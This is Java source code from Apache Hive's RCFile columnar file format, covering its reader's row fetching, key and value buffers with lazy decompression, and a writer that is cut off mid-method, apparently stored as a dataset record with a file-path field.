private int nextKeyValueTolerateCorruptions() throws IOException {
long currentOffset = in.getPos();
int ret;
try {
ret = nextKeyBuffer();
this.currentValueBuffer();
} catch (IOException ioe) {
// A BlockMissingException indicates a temporary error,
// not a corruption. Re-throw this exception.
String msg = ioe.getMessage();
if (msg != null && msg.startsWith(BLOCK_MISSING_MESSAGE)) {
LOG.warn("Re-throwing block-missing exception" + ioe);
throw ioe;
}
// We have an IOException other than a BlockMissingException.
LOG.warn("Ignoring IOException in file " + file +
" after offset " + currentOffset, ioe);
ret = -1;
} catch (Throwable t) {
// We got an exception that is not IOException
// (typically OOM, IndexOutOfBounds, InternalError).
// This is most likely a corruption.
LOG.warn("Ignoring unknown error in " + file +
" after offset " + currentOffset, t);
ret = -1;
}
return ret;
}
public boolean hasRecordsInBuffer() {
return readRowsIndexInBuffer < recordsNumInValBuffer;
}
/**
* get the current row used,make sure called {@link #next(LongWritable)}
* first.
*
* @throws IOException
*/
public synchronized void getCurrentRow(BytesRefArrayWritable ret) throws IOException {
if (!keyInit || rowFetched) {
return;
}
if (tolerateCorruptions) {
if (!currentValue.inited) {
currentValueBuffer();
}
ret.resetValid(columnNumber);
} else {
if (!currentValue.inited) {
currentValueBuffer();
// do this only when not initialized, but we may need to find a way to
// tell the caller how to initialize the valid size
ret.resetValid(columnNumber);
}
}
// we do not use BytesWritable here to avoid the byte-copy from
// DataOutputStream to BytesWritable
if (currentValue.numCompressed > 0) {
for (int j = 0; j < selectedColumns.length; ++j) {
SelectedColumn col = selectedColumns[j];
int i = col.colIndex;
if (col.isNulled) {
ret.set(i, null);
} else {
BytesRefWritable ref = ret.unCheckedGet(i);
colAdvanceRow(j, col);
if (currentValue.decompressedFlag[j]) {
ref.set(currentValue.loadedColumnsValueBuffer[j].getData(),
col.rowReadIndex, col.prvLength);
} else {
ref.set(currentValue.lazyDecompressCallbackObjs[j],
col.rowReadIndex, col.prvLength);
}
col.rowReadIndex += col.prvLength;
}
}
} else {
// This version of the loop eliminates a condition check and branch
// and is measurably faster (20% or so)
for (int j = 0; j < selectedColumns.length; ++j) {
SelectedColumn col = selectedColumns[j];
int i = col.colIndex;
if (col.isNulled) {
ret.set(i, null);
} else {
BytesRefWritable ref = ret.unCheckedGet(i);
colAdvanceRow(j, col);
ref.set(currentValue.loadedColumnsValueBuffer[j].getData(),
col.rowReadIndex, col.prvLength);
col.rowReadIndex += col.prvLength;
}
}
}
rowFetched = true;
}
/**
* Advance column state to the next now: update offsets, run lengths etc
* @param selCol - index among selectedColumns
* @param col - column object to update the state of. prvLength will be
* set to the new read position
* @throws IOException
*/
private void colAdvanceRow(int selCol, SelectedColumn col) throws IOException {
if (col.runLength > 0) {
--col.runLength;
} else {
int length = (int) WritableUtils.readVLong(colValLenBufferReadIn[selCol]);
if (length < 0) {
// we reach a runlength here, use the previous length and reset
// runlength
col.runLength = (~length) - 1;
} else {
col.prvLength = length;
col.runLength = 0;
}
}
}
/** Returns true iff the previous call to next passed a sync mark. */
@SuppressWarnings("unused")
public boolean syncSeen() {
return syncSeen;
}
/** Returns the last seen sync position. */
public long lastSeenSyncPos() {
return lastSeenSyncPos;
}
/** Returns the name of the file. */
@Override
public String toString() {
return file.toString();
}
@SuppressWarnings("unused")
public boolean isCompressedRCFile() {
return this.decompress;
}
/** Close the reader. */
public void close() {
IOUtils.closeStream(in);
currentValue.close();
if (decompress) {
IOUtils.closeStream(keyDecompressedData);
if (keyDecompressor != null) {
// Make sure we only return keyDecompressor once.
CodecPool.returnDecompressor(keyDecompressor);
keyDecompressor = null;
}
}
}
/**
* return the KeyBuffer object used in the reader. Internally in each
* reader, there is only one KeyBuffer object, which gets reused for every
* block.
*/
public KeyBuffer getCurrentKeyBufferObj() {
return this.currentKey;
}
/**
* return the ValueBuffer object used in the reader. Internally in each
* reader, there is only one ValueBuffer object, which gets reused for every
* block.
*/
public ValueBuffer getCurrentValueBufferObj() {
return this.currentValue;
}
//return the current block's length
public int getCurrentBlockLength() {
return this.currentRecordLength;
}
//return the current block's key length
public int getCurrentKeyLength() {
return this.currentKeyLength;
}
//return the current block's compressed key length
public int getCurrentCompressedKeyLen() {
return this.compressedKeyLen;
}
//return the CompressionCodec used for this file
public CompressionCodec getCompressionCodec() {
return this.codec;
}
}
}
| ql/src/java/org/apache/hadoop/hive/ql/io/RCFile.java | /**
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.hadoop.hive.ql.io;
import java.io.DataInput;
import java.io.DataInputStream;
import java.io.DataOutput;
import java.io.DataOutputStream;
import java.io.EOFException;
import java.io.IOException;
import java.rmi.server.UID;
import java.security.MessageDigest;
import java.util.Arrays;
import org.apache.commons.logging.Log;
import org.apache.commons.logging.LogFactory;
import org.apache.hadoop.conf.Configuration;
import org.apache.hadoop.fs.ChecksumException;
import org.apache.hadoop.fs.FSDataInputStream;
import org.apache.hadoop.fs.FSDataOutputStream;
import org.apache.hadoop.fs.FileSystem;
import org.apache.hadoop.fs.Path;
import org.apache.hadoop.hive.conf.HiveConf;
import org.apache.hadoop.hive.serde2.ColumnProjectionUtils;
import org.apache.hadoop.hive.serde2.columnar.BytesRefArrayWritable;
import org.apache.hadoop.hive.serde2.columnar.BytesRefWritable;
import org.apache.hadoop.hive.serde2.columnar.LazyDecompressionCallback;
import org.apache.hadoop.hive.shims.ShimLoader;
import org.apache.hadoop.io.IOUtils;
import org.apache.hadoop.io.LongWritable;
import org.apache.hadoop.io.SequenceFile.Metadata;
import org.apache.hadoop.io.Text;
import org.apache.hadoop.io.VersionMismatchException;
import org.apache.hadoop.io.Writable;
import org.apache.hadoop.io.WritableComparable;
import org.apache.hadoop.io.WritableUtils;
import org.apache.hadoop.io.compress.CompressionCodec;
import org.apache.hadoop.io.compress.CompressionInputStream;
import org.apache.hadoop.io.compress.CompressionOutputStream;
import org.apache.hadoop.io.compress.Compressor;
import org.apache.hadoop.io.compress.Decompressor;
import org.apache.hadoop.util.Progressable;
import org.apache.hadoop.util.ReflectionUtils;
/**
* <code>RCFile</code>s, short of Record Columnar File, are flat files
* consisting of binary key/value pairs, which shares much similarity with
* <code>SequenceFile</code>.
*
* RCFile stores columns of a table in a record columnar way. It first
* partitions rows horizontally into row splits. and then it vertically
* partitions each row split in a columnar way. RCFile first stores the meta
* data of a row split, as the key part of a record, and all the data of a row
* split as the value part. When writing, RCFile.Writer first holds records'
* value bytes in memory, and determines a row split if the raw bytes size of
* buffered records overflow a given parameter<tt>Writer.columnsBufferSize</tt>,
* which can be set like: <code>conf.setInt(COLUMNS_BUFFER_SIZE_CONF_STR,
4 * 1024 * 1024)</code> .
* <p>
* <code>RCFile</code> provides {@link Writer}, {@link Reader} and classes for
* writing, reading respectively.
* </p>
*
* <p>
* RCFile stores columns of a table in a record columnar way. It first
* partitions rows horizontally into row splits. and then it vertically
* partitions each row split in a columnar way. RCFile first stores the meta
* data of a row split, as the key part of a record, and all the data of a row
* split as the value part.
* </p>
*
* <p>
* RCFile compresses values in a more fine-grained manner then record level
* compression. However, It currently does not support compress the key part
* yet. The actual compression algorithm used to compress key and/or values can
* be specified by using the appropriate {@link CompressionCodec}.
* </p>
*
* <p>
* The {@link Reader} is used to read and explain the bytes of RCFile.
* </p>
*
* <h4 id="Formats">RCFile Formats</h4>
*
*
* <h5 id="Header">RC Header</h5>
* <ul>
* <li>version - 3 bytes of magic header <b>RCF</b>, followed by 1 byte of
* actual version number (e.g. RCF1)</li>
* <li>compression - A boolean which specifies if compression is turned on for
* keys/values in this file.</li>
* <li>compression codec - <code>CompressionCodec</code> class which is used
* for compression of keys and/or values (if compression is enabled).</li>
* <li>metadata - {@link Metadata} for this file.</li>
* <li>sync - A sync marker to denote end of the header.</li>
* </ul>
*
* <h5>RCFile Format</h5>
* <ul>
* <li><a href="#Header">Header</a></li>
* <li>Record
* <li>Key part
* <ul>
* <li>Record length in bytes</li>
* <li>Key length in bytes</li>
* <li>Number_of_rows_in_this_record(vint)</li>
* <li>Column_1_ondisk_length(vint)</li>
* <li>Column_1_row_1_value_plain_length</li>
* <li>Column_1_row_2_value_plain_length</li>
* <li>...</li>
* <li>Column_2_ondisk_length(vint)</li>
* <li>Column_2_row_1_value_plain_length</li>
* <li>Column_2_row_2_value_plain_length</li>
* <li>...</li>
* </ul>
* </li>
* </li>
* <li>Value part
* <ul>
* <li>Compressed or plain data of [column_1_row_1_value,
* column_1_row_2_value,....]</li>
* <li>Compressed or plain data of [column_2_row_1_value,
* column_2_row_2_value,....]</li>
* </ul>
* </li>
* </ul>
*
*/
public class RCFile {
private static final Log LOG = LogFactory.getLog(RCFile.class);
public static final String RECORD_INTERVAL_CONF_STR = "hive.io.rcfile.record.interval";
public static final String COLUMN_NUMBER_METADATA_STR = "hive.io.rcfile.column.number";
public static final String COLUMN_NUMBER_CONF_STR = "hive.io.rcfile.column.number.conf";
public static final String TOLERATE_CORRUPTIONS_CONF_STR =
"hive.io.rcfile.tolerate.corruptions";
// HACK: We actually need BlockMissingException, but that is not available
// in all hadoop versions.
public static final String BLOCK_MISSING_MESSAGE =
"Could not obtain block";
// All of the versions should be place in this list.
private static final int ORIGINAL_VERSION = 0; // version with SEQ
private static final int NEW_MAGIC_VERSION = 1; // version with RCF
private static final int CURRENT_VERSION = NEW_MAGIC_VERSION;
// The first version of RCFile used the sequence file header.
private static final byte[] ORIGINAL_MAGIC = new byte[] {
(byte) 'S', (byte) 'E', (byte) 'Q'};
// the version that was included with the original magic, which is mapped
// into ORIGINAL_VERSION
private static final byte ORIGINAL_MAGIC_VERSION_WITH_METADATA = 6;
private static final byte[] ORIGINAL_MAGIC_VERSION = new byte[] {
(byte) 'S', (byte) 'E', (byte) 'Q', ORIGINAL_MAGIC_VERSION_WITH_METADATA
};
// The 'magic' bytes at the beginning of the RCFile
private static final byte[] MAGIC = new byte[] {
(byte) 'R', (byte) 'C', (byte) 'F'};
private static final int SYNC_ESCAPE = -1; // "length" of sync entries
private static final int SYNC_HASH_SIZE = 16; // number of bytes in hash
private static final int SYNC_SIZE = 4 + SYNC_HASH_SIZE; // escape + hash
/** The number of bytes between sync points. */
public static final int SYNC_INTERVAL = 100 * SYNC_SIZE;
/**
* KeyBuffer is the key of each record in RCFile. Its on-disk layout is as
* below:
*
* <ul>
* <li>record length in bytes,it is the sum of bytes used to store the key
* part and the value part.</li>
* <li>Key length in bytes, it is how many bytes used by the key part.</li>
* <li>number_of_rows_in_this_record(vint),</li>
* <li>column_1_ondisk_length(vint),</li>
* <li>column_1_row_1_value_plain_length,</li>
* <li>column_1_row_2_value_plain_length,</li>
* <li>....</li>
* <li>column_2_ondisk_length(vint),</li>
* <li>column_2_row_1_value_plain_length,</li>
* <li>column_2_row_2_value_plain_length,</li>
* <li>.... .</li>
* <li>{the end of the key part}</li>
* </ul>
*/
public static class KeyBuffer implements WritableComparable {
// each column's length in the value
private int[] eachColumnValueLen = null;
private int[] eachColumnUncompressedValueLen = null;
// stores each cell's length of a column in one DataOutputBuffer element
private NonSyncDataOutputBuffer[] allCellValLenBuffer = null;
// how many rows in this split
private int numberRows = 0;
// how many columns
private int columnNumber = 0;
// return the number of columns recorded in this file's header
public int getColumnNumber() {
return columnNumber;
}
@SuppressWarnings("unused")
@Deprecated
public KeyBuffer(){
}
KeyBuffer(int columnNum) {
columnNumber = columnNum;
eachColumnValueLen = new int[columnNumber];
eachColumnUncompressedValueLen = new int[columnNumber];
allCellValLenBuffer = new NonSyncDataOutputBuffer[columnNumber];
}
@SuppressWarnings("unused")
@Deprecated
KeyBuffer(int numberRows, int columnNum) {
this(columnNum);
this.numberRows = numberRows;
}
public void nullColumn(int columnIndex) {
eachColumnValueLen[columnIndex] = 0;
eachColumnUncompressedValueLen[columnIndex] = 0;
allCellValLenBuffer[columnIndex] = new NonSyncDataOutputBuffer();
}
/**
* add in a new column's meta data.
*
* @param columnValueLen
* this total bytes number of this column's values in this split
* @param colValLenBuffer
* each cell's length of this column's in this split
*/
void setColumnLenInfo(int columnValueLen,
NonSyncDataOutputBuffer colValLenBuffer,
int columnUncompressedValueLen, int columnIndex) {
eachColumnValueLen[columnIndex] = columnValueLen;
eachColumnUncompressedValueLen[columnIndex] = columnUncompressedValueLen;
allCellValLenBuffer[columnIndex] = colValLenBuffer;
}
@Override
public void readFields(DataInput in) throws IOException {
eachColumnValueLen = new int[columnNumber];
eachColumnUncompressedValueLen = new int[columnNumber];
allCellValLenBuffer = new NonSyncDataOutputBuffer[columnNumber];
numberRows = WritableUtils.readVInt(in);
for (int i = 0; i < columnNumber; i++) {
eachColumnValueLen[i] = WritableUtils.readVInt(in);
eachColumnUncompressedValueLen[i] = WritableUtils.readVInt(in);
int bufLen = WritableUtils.readVInt(in);
if (allCellValLenBuffer[i] == null) {
allCellValLenBuffer[i] = new NonSyncDataOutputBuffer();
} else {
allCellValLenBuffer[i].reset();
}
allCellValLenBuffer[i].write(in, bufLen);
}
}
@Override
public void write(DataOutput out) throws IOException {
// out.writeInt(numberRows);
WritableUtils.writeVLong(out, numberRows);
for (int i = 0; i < eachColumnValueLen.length; i++) {
WritableUtils.writeVLong(out, eachColumnValueLen[i]);
WritableUtils.writeVLong(out, eachColumnUncompressedValueLen[i]);
NonSyncDataOutputBuffer colRowsLenBuf = allCellValLenBuffer[i];
int bufLen = colRowsLenBuf.getLength();
WritableUtils.writeVLong(out, bufLen);
out.write(colRowsLenBuf.getData(), 0, bufLen);
}
}
/**
* get number of bytes to store the keyBuffer.
*
* @return number of bytes used to store this KeyBuffer on disk
* @throws IOException
*/
public int getSize() throws IOException {
int ret = 0;
ret += WritableUtils.getVIntSize(numberRows);
for (int i = 0; i < eachColumnValueLen.length; i++) {
ret += WritableUtils.getVIntSize(eachColumnValueLen[i]);
ret += WritableUtils.getVIntSize(eachColumnUncompressedValueLen[i]);
ret += WritableUtils.getVIntSize(allCellValLenBuffer[i].getLength());
ret += allCellValLenBuffer[i].getLength();
}
return ret;
}
@Override
public int compareTo(Object arg0) {
throw new RuntimeException("compareTo not supported in class "
+ this.getClass().getName());
}
public int[] getEachColumnUncompressedValueLen() {
return eachColumnUncompressedValueLen;
}
public int[] getEachColumnValueLen() {
return eachColumnValueLen;
}
/**
* @return the numberRows
*/
public int getNumberRows() {
return numberRows;
}
}
/**
* ValueBuffer is the value of each record in RCFile. Its on-disk layout is as
* below:
* <ul>
* <li>Compressed or plain data of [column_1_row_1_value,
* column_1_row_2_value,....]</li>
* <li>Compressed or plain data of [column_2_row_1_value,
* column_2_row_2_value,....]</li>
* </ul>
*/
public static class ValueBuffer implements WritableComparable {
class LazyDecompressionCallbackImpl implements LazyDecompressionCallback {
int index = -1;
int colIndex = -1;
public LazyDecompressionCallbackImpl(int index, int colIndex) {
super();
this.index = index;
this.colIndex = colIndex;
}
@Override
public byte[] decompress() throws IOException {
if (decompressedFlag[index] || codec == null) {
return loadedColumnsValueBuffer[index].getData();
}
NonSyncDataOutputBuffer compressedData = compressedColumnsValueBuffer[index];
decompressBuffer.reset();
DataInputStream valueIn = new DataInputStream(deflatFilter);
deflatFilter.resetState();
if (deflatFilter instanceof SchemaAwareCompressionInputStream) {
((SchemaAwareCompressionInputStream)deflatFilter).setColumnIndex(colIndex);
}
decompressBuffer.reset(compressedData.getData(),
keyBuffer.eachColumnValueLen[colIndex]);
NonSyncDataOutputBuffer decompressedColBuf = loadedColumnsValueBuffer[index];
decompressedColBuf.reset();
decompressedColBuf.write(valueIn,
keyBuffer.eachColumnUncompressedValueLen[colIndex]);
decompressedFlag[index] = true;
numCompressed--;
return decompressedColBuf.getData();
}
}
// used to load columns' value into memory
private NonSyncDataOutputBuffer[] loadedColumnsValueBuffer = null;
private NonSyncDataOutputBuffer[] compressedColumnsValueBuffer = null;
private boolean[] decompressedFlag = null;
private int numCompressed;
private LazyDecompressionCallbackImpl[] lazyDecompressCallbackObjs = null;
private boolean lazyDecompress = true;
boolean inited = false;
// used for readFields
KeyBuffer keyBuffer;
private int columnNumber = 0;
// set true for columns that needed to skip loading into memory.
boolean[] skippedColIDs = null;
CompressionCodec codec;
Decompressor valDecompressor = null;
NonSyncDataInputBuffer decompressBuffer = new NonSyncDataInputBuffer();
CompressionInputStream deflatFilter = null;
@SuppressWarnings("unused")
@Deprecated
public ValueBuffer() throws IOException {
}
@SuppressWarnings("unused")
@Deprecated
public ValueBuffer(KeyBuffer keyBuffer) throws IOException {
this(keyBuffer, keyBuffer.columnNumber, null, null, true);
}
@SuppressWarnings("unused")
@Deprecated
public ValueBuffer(KeyBuffer keyBuffer, boolean[] skippedColIDs)
throws IOException {
this(keyBuffer, keyBuffer.columnNumber, skippedColIDs, null, true);
}
@SuppressWarnings("unused")
@Deprecated
public ValueBuffer(KeyBuffer currentKey, int columnNumber,
boolean[] skippedCols, CompressionCodec codec) throws IOException {
this(currentKey, columnNumber, skippedCols, codec, true);
}
public ValueBuffer(KeyBuffer currentKey, int columnNumber,
boolean[] skippedCols, CompressionCodec codec, boolean lazyDecompress)
throws IOException {
this.lazyDecompress = lazyDecompress;
keyBuffer = currentKey;
this.columnNumber = columnNumber;
if (skippedCols != null && skippedCols.length > 0) {
skippedColIDs = skippedCols;
} else {
skippedColIDs = new boolean[columnNumber];
for (int i = 0; i < skippedColIDs.length; i++) {
skippedColIDs[i] = false;
}
}
int skipped = 0;
for (boolean currentSkip : skippedColIDs) {
if (currentSkip) {
skipped++;
}
}
loadedColumnsValueBuffer = new NonSyncDataOutputBuffer[columnNumber
- skipped];
decompressedFlag = new boolean[columnNumber - skipped];
lazyDecompressCallbackObjs = new LazyDecompressionCallbackImpl[columnNumber
- skipped];
compressedColumnsValueBuffer = new NonSyncDataOutputBuffer[columnNumber
- skipped];
this.codec = codec;
if (codec != null) {
valDecompressor = CodecPool.getDecompressor(codec);
deflatFilter = codec.createInputStream(decompressBuffer,
valDecompressor);
}
if (codec != null) {
numCompressed = decompressedFlag.length;
} else {
numCompressed = 0;
}
for (int k = 0, readIndex = 0; k < columnNumber; k++) {
if (skippedColIDs[k]) {
continue;
}
loadedColumnsValueBuffer[readIndex] = new NonSyncDataOutputBuffer();
if (codec != null) {
decompressedFlag[readIndex] = false;
lazyDecompressCallbackObjs[readIndex] = new LazyDecompressionCallbackImpl(
readIndex, k);
compressedColumnsValueBuffer[readIndex] = new NonSyncDataOutputBuffer();
} else {
decompressedFlag[readIndex] = true;
}
readIndex++;
}
}
@SuppressWarnings("unused")
@Deprecated
public void setColumnValueBuffer(NonSyncDataOutputBuffer valBuffer,
int addIndex) {
loadedColumnsValueBuffer[addIndex] = valBuffer;
}
@Override
public void readFields(DataInput in) throws IOException {
int addIndex = 0;
int skipTotal = 0;
for (int i = 0; i < columnNumber; i++) {
int vaRowsLen = keyBuffer.eachColumnValueLen[i];
// skip this column
if (skippedColIDs[i]) {
skipTotal += vaRowsLen;
continue;
}
if (skipTotal != 0) {
in.skipBytes(skipTotal);
skipTotal = 0;
}
NonSyncDataOutputBuffer valBuf;
if (codec != null){
// load into compressed buf first
valBuf = compressedColumnsValueBuffer[addIndex];
} else {
valBuf = loadedColumnsValueBuffer[addIndex];
}
valBuf.reset();
valBuf.write(in, vaRowsLen);
if (codec != null) {
decompressedFlag[addIndex] = false;
if (!lazyDecompress) {
lazyDecompressCallbackObjs[addIndex].decompress();
decompressedFlag[addIndex] = true;
}
}
addIndex++;
}
if (codec != null) {
numCompressed = decompressedFlag.length;
}
if (skipTotal != 0) {
in.skipBytes(skipTotal);
}
}
@Override
public void write(DataOutput out) throws IOException {
if (codec != null) {
for (NonSyncDataOutputBuffer currentBuf : compressedColumnsValueBuffer) {
out.write(currentBuf.getData(), 0, currentBuf.getLength());
}
} else {
for (NonSyncDataOutputBuffer currentBuf : loadedColumnsValueBuffer) {
out.write(currentBuf.getData(), 0, currentBuf.getLength());
}
}
}
public void nullColumn(int columnIndex) {
if (codec != null) {
compressedColumnsValueBuffer[columnIndex].reset();
} else {
loadedColumnsValueBuffer[columnIndex].reset();
}
}
public void clearColumnBuffer() throws IOException {
decompressBuffer.reset();
}
public void close() {
for (NonSyncDataOutputBuffer element : loadedColumnsValueBuffer) {
IOUtils.closeStream(element);
}
if (codec != null) {
IOUtils.closeStream(decompressBuffer);
if (valDecompressor != null) {
// Make sure we only return valDecompressor once.
CodecPool.returnDecompressor(valDecompressor);
valDecompressor = null;
}
}
}
@Override
public int compareTo(Object arg0) {
throw new RuntimeException("compareTo not supported in class "
+ this.getClass().getName());
}
}
/**
* Create a metadata object with alternating key-value pairs.
* Eg. metadata(key1, value1, key2, value2)
*/
public static Metadata createMetadata(Text... values) {
if (values.length % 2 != 0) {
throw new IllegalArgumentException("Must have a matched set of " +
"key-value pairs. " + values.length+
" strings supplied.");
}
Metadata result = new Metadata();
for(int i=0; i < values.length; i += 2) {
result.set(values[i], values[i+1]);
}
return result;
}
/**
* Write KeyBuffer/ValueBuffer pairs to a RCFile. RCFile's format is
* compatible with SequenceFile's.
*
*/
public static class Writer {
Configuration conf;
FSDataOutputStream out;
CompressionCodec codec = null;
Metadata metadata = null;
// Insert a globally unique 16-byte value every few entries, so that one
// can seek into the middle of a file and then synchronize with record
// starts and ends by scanning for this value.
long lastSyncPos; // position of last sync
byte[] sync; // 16 random bytes
{
try {
MessageDigest digester = MessageDigest.getInstance("MD5");
long time = System.currentTimeMillis();
digester.update((new UID() + "@" + time).getBytes());
sync = digester.digest();
} catch (Exception e) {
throw new RuntimeException(e);
}
}
// how many records the writer buffers before it writes to disk
private int RECORD_INTERVAL = Integer.MAX_VALUE;
// the max size of memory for buffering records before writes them out
private int columnsBufferSize = 4 * 1024 * 1024; // 4M
// the conf string for COLUMNS_BUFFER_SIZE
public static String COLUMNS_BUFFER_SIZE_CONF_STR = "hive.io.rcfile.record.buffer.size";
// how many records already buffered
private int bufferedRecords = 0;
private final ColumnBuffer[] columnBuffers;
private int columnNumber = 0;
private final int[] columnValuePlainLength;
KeyBuffer key = null;
private final int[] plainTotalColumnLength;
private final int[] comprTotalColumnLength;
boolean useNewMagic = true;
/*
* used for buffering appends before flush them out
*/
class ColumnBuffer {
// used for buffer a column's values
NonSyncDataOutputBuffer columnValBuffer;
// used to store each value's length
NonSyncDataOutputBuffer valLenBuffer;
/*
* use a run-length encoding. We only record run length if a same
* 'prevValueLen' occurs more than one time. And we negative the run
* length to distinguish a runLength and a normal value length. For
* example, if the values' lengths are 1,1,1,2, we record 1, ~2,2. And for
* value lengths 1,2,3 we record 1,2,3.
*/
int runLength = 0;
int prevValueLength = -1;
ColumnBuffer() throws IOException {
columnValBuffer = new NonSyncDataOutputBuffer();
valLenBuffer = new NonSyncDataOutputBuffer();
}
public void append(BytesRefWritable data) throws IOException {
data.writeDataTo(columnValBuffer);
int currentLen = data.getLength();
if (prevValueLength < 0) {
startNewGroup(currentLen);
return;
}
if (currentLen != prevValueLength) {
flushGroup();
startNewGroup(currentLen);
} else {
runLength++;
}
}
private void startNewGroup(int currentLen) {
prevValueLength = currentLen;
runLength = 0;
}
public void clear() throws IOException {
valLenBuffer.reset();
columnValBuffer.reset();
prevValueLength = -1;
runLength = 0;
}
public void flushGroup() throws IOException {
if (prevValueLength >= 0) {
WritableUtils.writeVLong(valLenBuffer, prevValueLength);
if (runLength > 0) {
WritableUtils.writeVLong(valLenBuffer, ~runLength);
}
runLength = -1;
prevValueLength = -1;
}
}
}
public long getLength() throws IOException {
return out.getPos();
}
/** Constructs a RCFile Writer. */
public Writer(FileSystem fs, Configuration conf, Path name) throws IOException {
this(fs, conf, name, null, new Metadata(), null);
}
/**
* Constructs a RCFile Writer.
*
* @param fs
* the file system used
* @param conf
* the configuration file
* @param name
* the file name
* @throws IOException
*/
public Writer(FileSystem fs, Configuration conf, Path name,
Progressable progress, CompressionCodec codec) throws IOException {
this(fs, conf, name, progress, new Metadata(), codec);
}
/**
* Constructs a RCFile Writer.
*
* @param fs
* the file system used
* @param conf
* the configuration file
* @param name
* the file name
* @param progress a progress meter to update as the file is written
* @param metadata a string to string map in the file header
* @throws IOException
*/
public Writer(FileSystem fs, Configuration conf, Path name,
Progressable progress, Metadata metadata, CompressionCodec codec) throws IOException {
this(fs, conf, name, fs.getConf().getInt("io.file.buffer.size", 4096),
ShimLoader.getHadoopShims().getDefaultReplication(fs, name),
ShimLoader.getHadoopShims().getDefaultBlockSize(fs, name), progress,
metadata, codec);
}
/**
*
* Constructs a RCFile Writer.
*
* @param fs
* the file system used
* @param conf
* the configuration file
* @param name
* the file name
* @param bufferSize the size of the file buffer
* @param replication the number of replicas for the file
* @param blockSize the block size of the file
* @param progress the progress meter for writing the file
* @param metadata a string to string map in the file header
* @throws IOException
*/
public Writer(FileSystem fs, Configuration conf, Path name, int bufferSize,
short replication, long blockSize, Progressable progress,
Metadata metadata, CompressionCodec codec) throws IOException {
RECORD_INTERVAL = conf.getInt(RECORD_INTERVAL_CONF_STR, RECORD_INTERVAL);
columnNumber = conf.getInt(COLUMN_NUMBER_CONF_STR, 0);
if (metadata == null) {
metadata = new Metadata();
}
metadata.set(new Text(COLUMN_NUMBER_METADATA_STR), new Text(""
+ columnNumber));
columnsBufferSize = conf.getInt(COLUMNS_BUFFER_SIZE_CONF_STR,
4 * 1024 * 1024);
columnValuePlainLength = new int[columnNumber];
columnBuffers = new ColumnBuffer[columnNumber];
for (int i = 0; i < columnNumber; i++) {
columnBuffers[i] = new ColumnBuffer();
}
init(conf, fs.create(name, true, bufferSize, replication,
blockSize, progress), codec, metadata);
initializeFileHeader();
writeFileHeader();
finalizeFileHeader();
key = new KeyBuffer(columnNumber);
plainTotalColumnLength = new int[columnNumber];
comprTotalColumnLength = new int[columnNumber];
}
/** Write the initial part of file header. */
void initializeFileHeader() throws IOException {
if (useNewMagic) {
out.write(MAGIC);
out.write(CURRENT_VERSION);
} else {
out.write(ORIGINAL_MAGIC_VERSION);
}
}
/** Write the final part of file header. */
void finalizeFileHeader() throws IOException {
out.write(sync); // write the sync bytes
out.flush(); // flush header
}
boolean isCompressed() {
return codec != null;
}
/** Write and flush the file header. */
void writeFileHeader() throws IOException {
if (useNewMagic) {
out.writeBoolean(isCompressed());
} else {
Text.writeString(out, KeyBuffer.class.getName());
Text.writeString(out, ValueBuffer.class.getName());
out.writeBoolean(isCompressed());
out.writeBoolean(false);
}
if (isCompressed()) {
Text.writeString(out, (codec.getClass()).getName());
}
metadata.write(out);
}
void init(Configuration conf, FSDataOutputStream out,
CompressionCodec codec, Metadata metadata) throws IOException {
this.conf = conf;
this.out = out;
this.codec = codec;
this.metadata = metadata;
this.useNewMagic =
conf.getBoolean(HiveConf.ConfVars.HIVEUSEEXPLICITRCFILEHEADER.varname, true);
}
/** Returns the compression codec of data in this file. */
@SuppressWarnings("unused")
@Deprecated
public CompressionCodec getCompressionCodec() {
return codec;
}
/** create a sync point. */
public void sync() throws IOException {
if (sync != null && lastSyncPos != out.getPos()) {
out.writeInt(SYNC_ESCAPE); // mark the start of the sync
out.write(sync); // write sync
lastSyncPos = out.getPos(); // update lastSyncPos
}
}
/** Returns the configuration of this file. */
@SuppressWarnings("unused")
@Deprecated
Configuration getConf() {
return conf;
}
private void checkAndWriteSync() throws IOException {
if (sync != null && out.getPos() >= lastSyncPos + SYNC_INTERVAL) {
sync();
}
}
private int columnBufferSize = 0;
/**
* Append a row of values. Currently it only can accept <
* {@link BytesRefArrayWritable}. If its <code>size()</code> is less than the
* column number in the file, zero bytes are appended for the empty columns.
* If its size() is greater then the column number in the file, the exceeded
* columns' bytes are ignored.
*
* @param val a BytesRefArrayWritable with the list of serialized columns
* @throws IOException
*/
public void append(Writable val) throws IOException {
if (!(val instanceof BytesRefArrayWritable)) {
throw new UnsupportedOperationException(
"Currently the writer can only accept BytesRefArrayWritable");
}
BytesRefArrayWritable columns = (BytesRefArrayWritable) val;
int size = columns.size();
for (int i = 0; i < size; i++) {
BytesRefWritable cu = columns.get(i);
int plainLen = cu.getLength();
columnBufferSize += plainLen;
columnValuePlainLength[i] += plainLen;
columnBuffers[i].append(cu);
}
if (size < columnNumber) {
for (int i = columns.size(); i < columnNumber; i++) {
columnBuffers[i].append(BytesRefWritable.ZeroBytesRefWritable);
}
}
bufferedRecords++;
if ((columnBufferSize > columnsBufferSize)
|| (bufferedRecords >= RECORD_INTERVAL)) {
flushRecords();
}
}
private void flushRecords() throws IOException {
key.numberRows = bufferedRecords;
Compressor compressor = null;
NonSyncDataOutputBuffer valueBuffer = null;
CompressionOutputStream deflateFilter = null;
DataOutputStream deflateOut = null;
boolean isCompressed = isCompressed();
int valueLength = 0;
if (isCompressed) {
ReflectionUtils.setConf(codec, this.conf);
compressor = CodecPool.getCompressor(codec);
valueBuffer = new NonSyncDataOutputBuffer();
deflateFilter = codec.createOutputStream(valueBuffer, compressor);
deflateOut = new DataOutputStream(deflateFilter);
}
for (int columnIndex = 0; columnIndex < columnNumber; columnIndex++) {
ColumnBuffer currentBuf = columnBuffers[columnIndex];
currentBuf.flushGroup();
NonSyncDataOutputBuffer columnValue = currentBuf.columnValBuffer;
int colLen;
int plainLen = columnValuePlainLength[columnIndex];
if (isCompressed) {
if (deflateFilter instanceof SchemaAwareCompressionOutputStream) {
((SchemaAwareCompressionOutputStream)deflateFilter).
setColumnIndex(columnIndex);
}
deflateFilter.resetState();
